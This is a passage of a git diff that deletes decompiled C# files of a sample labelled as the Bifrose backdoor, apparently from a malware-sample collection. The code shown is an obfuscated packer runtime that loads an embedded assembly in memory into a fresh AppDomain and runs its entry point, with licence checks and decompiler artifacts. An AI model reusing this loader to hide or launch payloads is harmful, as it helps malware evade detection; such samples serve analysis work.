Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) ptr1 == IntPtr.Zero) - return (ArrayList) null; - IntPtr ptr2 = (IntPtr) (void*) ptr1; - ArrayList assemblyServices = new ArrayList(); - if (*ptr1 != (byte) 0) - { - do - { - string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1); - assemblyServices.Add((object) stringAnsi); - ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1); - } - while (*ptr1 != (byte) 0); - } - Marshal.FreeCoTaskMem(ptr2); - return assemblyServices; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsDemo(Assembly pReserved) - { - int num; - if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - public virtual unsafe int DaysLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe int MinutesLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer()); - - public virtual void UnloadAppdomain(AppDomain domain) - { - int id = domain.Id; - AppDomain.Unload(domain); - \u0082\u00BB.\u0095(id); - } - - public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø(); - - public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer()); - - public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers) - { - GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0); - IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer()); - gcHandle.Free(); - return num2; - } - - public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer()); - - public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames(); - - public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles) - { - GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned); - GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned); - GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0); - IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0); - \u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer()); - gcHandle1.Free(); - gcHandle2.Free(); - gcHandle3.Free(); - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_003CdotNetProtector_003E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_003CdotNetProtector_003E.cs deleted file mode 100644 index ceaad236..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_003CdotNetProtector_003E.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -public class \u003CdotNetProtector\u003E -{ - internal static readonly long _Reserved; -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081Ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081Ù.cs deleted file mode 100644 index 6086e27b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081Ù.cs +++ /dev/null @@ -1,281 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Ù - { - private IntPtr \u0082\u00B0; - private IntPtr á; - private int Þ; - private Assembly Û; - - private unsafe Assembly \u00F7() - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly assembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return assembly; - } - - private unsafe Assembly \u0089() - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly assembly = (Assembly) null; - try - { - assembly = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return assembly; - } - - public static unsafe int \u0081Ö(Assembly _param0, int _param1) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]); - int num2 = 0; - \u0081Ù ù = new \u0081Ù(); - ù.Û = _param0; - ù.\u0082\u00B0 = hinstance; - ù.Þ = _param1; - IntPtr num3 = (IntPtr) (void*) &num2; - ù.á = num3; - AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString()); - int id = domain.Id; - domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç); - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í); - domain.DoCallBack(callBackDelegate); - try - { - AppDomain.Unload(domain); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num4 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num4 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_10; - if (num4 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num4); - } - } -label_10: - \u0082\u00BB.ù(); - \u0082\u00BB.\u0095(id); - return num2; - } - - public unsafe void í() - { - FieldInfo fieldInfo = (FieldInfo) null; - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - Assembly entryAssembly = Assembly.GetEntryAssembly(); - uint exceptionCode; - if ((object) entryAssembly == null) - { - \u0081ê.\u0081\u0099 = this.Û; - try - { - fieldInfo = (FieldInfo) null; - AppDomain currentDomain = AppDomain.CurrentDomain; - AppDomainManager appDomainManager = currentDomain.DomainManager; - if (appDomainManager == null) - { - appDomainManager = new AppDomainManager(); - typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager); - } - typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_18; - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - } - else - \u0081ê.\u0081\u0099 = entryAssembly; -label_18: - Assembly assembly = (Assembly) null; - switch (this.Þ & 805306368) - { - case 536870912: - assembly = this.\u0089(); - break; - case 805306368: - assembly = this.\u00F7(); - break; - } - if ((object) assembly == null) - return; - MethodInfo entryPoint = assembly.EntryPoint; - if ((object) entryPoint == null) - return; - object[] parameters = new object[0]; - if (entryPoint.GetParameters().Length != 0) - { - string[] commandLineArgs = Environment.GetCommandLineArgs(); - string[] destinationArray = new string[commandLineArgs.Length - 1]; - int length = destinationArray.Length; - if (length != 0) - Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length); - parameters = new object[1] - { - (object) destinationArray - }; - } - object obj = entryPoint.Invoke((object) null, parameters); - if (obj == null) - return; - try - { - Marshal.WriteInt32(this.á, Convert.ToInt32(obj)); - } - catch (Exception ex3) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num3 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex4) when ( - { - // ISSUE: unable to correctly present filter - num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num3 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - return; - if (num3 == 0U) - return; - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num3); - } - } - } - - public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name); - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081Þ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081Þ.cs deleted file mode 100644 index 3e364eec..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081Þ.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Þ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Þ - { - private IntPtr þ; - private int \u0092; - [NonSerialized] - private AppDomain ú; - - public \u0081Þ(AppDomain domain, int domainId) - { - this.\u0092 = domainId; - this.ú = domain; - this.þ = IntPtr.Zero; - } - - public void \u0081ý() - { - if (this.ú == null) - return; - try - { - for (int index = 0; index < 10; ++index) - { - try - { - string friendlyName = this.ú.FriendlyName; - Thread.Sleep(50); - } - catch (AppDomainUnloadedException ex) - { - break; - } - } - } - finally - { - \u0082\u00BB.\u0095(this.\u0092); - } - } - - public static AppDomain \u0081\u008D() - { - MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic); - return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain; - } - - public void \u009C() - { - Marshal.GetObjectForIUnknown(this.þ); - Marshal.Release(this.þ); - this.þ = IntPtr.Zero; - new Thread(new ThreadStart(this.\u0081ý)).Start(); - } - - public void \u0081\u0084(object _param1, EventArgs _param2) - { - AppDomain appDomain = \u0081Þ.\u0081\u008D(); - if (appDomain == null) - return; - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C); - this.þ = Marshal.GetIUnknownForObject((object) this.ú); - this.ú = (AppDomain) null; - appDomain.DoCallBack(callBackDelegate); - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081ê.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081ê.cs deleted file mode 100644 index f54e15f0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0081é/_0081ê.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using System.Reflection; - -namespace \u0081é -{ - internal class \u0081ê - { - internal static Assembly \u0081\u0099 = (Assembly) null; - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/1_0081î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/1_0081î.cs deleted file mode 100644 index d92c35f2..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/1_0081î.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0081î - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/1Ä.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/1Ä.cs deleted file mode 100644 index 98a4af06..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/1Ä.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 28)] - internal struct Ä - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081$.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081$.cs deleted file mode 100644 index c6c05f19..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081$.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.$ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 216)] - internal struct \u0081\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0081ö - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0080.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0080.cs deleted file mode 100644 index 0cd42df6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0080.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.€ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u0080 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0083.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0083.cs deleted file mode 100644 index daf61542..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0083.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ƒ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0083 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0088.cs deleted file mode 100644 index eb7f415d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0088.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_008B.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_008B.cs deleted file mode 100644 index d535baa1..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_008B.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u008B - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0090.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0090.cs deleted file mode 100644 index c10dd3cd..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0090.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0093.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0093.cs deleted file mode 100644 index 9c3d5d3e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0093.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.“ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0093 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0097.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0097.cs deleted file mode 100644 